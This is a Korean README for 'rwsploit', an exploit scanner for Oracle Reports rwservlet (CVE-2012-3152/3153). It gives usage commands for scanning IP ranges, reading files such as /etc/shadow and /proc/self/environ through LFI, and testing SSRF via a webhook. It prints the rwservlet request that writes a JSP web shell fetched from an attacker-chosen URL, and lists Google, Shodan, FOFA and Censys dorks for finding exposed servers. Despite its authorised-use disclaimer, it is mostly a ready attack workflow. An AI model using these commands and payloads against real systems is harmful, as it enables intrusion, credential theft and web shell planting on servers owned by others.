
Oracle Reports Server(rwservlet)용 자동화된 익스플로잇 스캐너 — CVE-2012-3152 / CVE-2012-3153. LFI를 통한 파일 감지, 핑거프린팅, 파일 읽기, 웹훅을 통한 SSRF 테스트 및 JSP 셸 업로드를 수행합니다. Oracle Reports < 11g를 대상으로 합니다. 공인된 사용만 허용됩니다.
⚠️ 승인된 사용만 가능합니다. 이 도구는 본인이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 실행하세요. 무단 사용은 불법입니다.
Oracle Reports Server (rwservlet)의 CVE-2012-3152 및 CVE-2012-3153을 대상으로 하는 특화된 익스플로잇 스캐너입니다. 11g 미만 버전에 영향을 미칩니다. 단일 IP, CIDR 범위 또는 대상 목록에 대해 탐지, LFI 파일 읽기, SSRF 테스트 및 JSP 셸 업로드를 자동화합니다. 스마트 TCP/HTTP 사전 필터링이 데드 호스트를 즉시 건너뛰므로 시간을 낭비하지 않습니다.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Python 3.8+ 필요. 다른 종속성은 없습니다.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
인수 없이 실행하면 전체 도움말 메뉴와 리콘 dork를 볼 수 있습니다.
| 플래그 | 설명 | 기본값 |
|---|---|---|
-t | 대상 IP, 호스트 이름 또는 CIDR. 여러 값 허용. | — |
-f | 파일은 한 줄에 하나의 IP 또는 CIDR을 포함합니다. # = 주석. | — |
-p | 단일 사용자 지정 포트 — 기본 포트 목록을 재정의합니다. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | 동시 스레드 수. | 15 |
-o | 이 접두사로 LFI 덤프를 디스크에 저장합니다. 예: -o loot → loot_<ip>_<port>_<file>.txt | stdout에만 출력 |
--timeout | 요청 제한 시간(초). | 10 |
--lfi | LFI 파일 읽기 페이로드를 실행합니다. 먼저 OS를 감지하여 관련 페이로드만 실행합니다. | off |
--no-ssrf | SSRF 웹훅 테스트를 건너뜁니다. | off |
--shell | JSP 셸을 업로드합니다. 셸 콘텐츠를 제공하는 URL을 입력하라는 메시지가 표시됩니다. | off |
-h | 도움말 및 리콘 dork를 표시합니다. | — |
# 탐지만 수행
python3 rwsploit.py -t 10.10.10.55 -p 7777
# 탐지 + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# 전체 체인 — LFI + SSRF + 셸
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# 서브넷 스캔, 덤프 저장
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# 파일에서 읽기, SSRF 제외
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
targets.txt 형식
# 주석 — 건너뜀
10.10.10.55
10.10.11.0/24
먼저 showenv를 통해 OS를 감지한 후 일치하는 페이로드 세트만 실행하여 세계적으로 읽을 수 있는 파일을 읽습니다.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 LFI 출력이 없다고 해서 대상이 안전한 것은 아닙니다. Oracle의 구성 및 파일 권한은 다양합니다. 항상 SSRF 및 셸 업로드를 독립적으로 테스트하세요.
rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook>를 실행하고 webhook.site API를 폴링하여 콜백을 확인합니다. 적중 시 소스 IP, 메서드 및 User-Agent를 출력합니다. 시작 시 새 웹훅 토큰이 자동으로 생성됩니다.
--shell)showenv에서 PATH_TRANSLATED를 읽어 실제 웹루트 경로를 가져옵니다.kxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | 설명 |
|---|---|
| CVE-2012-3152 | rwservlet report 매개변수를 통한 인증되지 않은 파일 읽기 |
| CVE-2012-3153 | JOBTYPE=rwurl + URLPARAMETER를 통한 SSRF 및 파일 쓰기 |
Oracle Reports Server 6i, 9i, 10g에 영향을 미칩니다 — 11g에서 수정됨.
승인된 침투 테스트, CTF 챌린지 및 보안 연구에만 사용하세요. 작성자는 오용에 대해 책임을 지지 않습니다.